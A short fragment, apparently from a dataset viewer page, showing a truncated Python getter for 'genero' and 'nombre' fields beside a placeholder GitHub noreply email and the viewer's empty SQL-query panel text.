return self.genero
def getNombr... | [
"noreply@github.com"
] | noreply@github.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.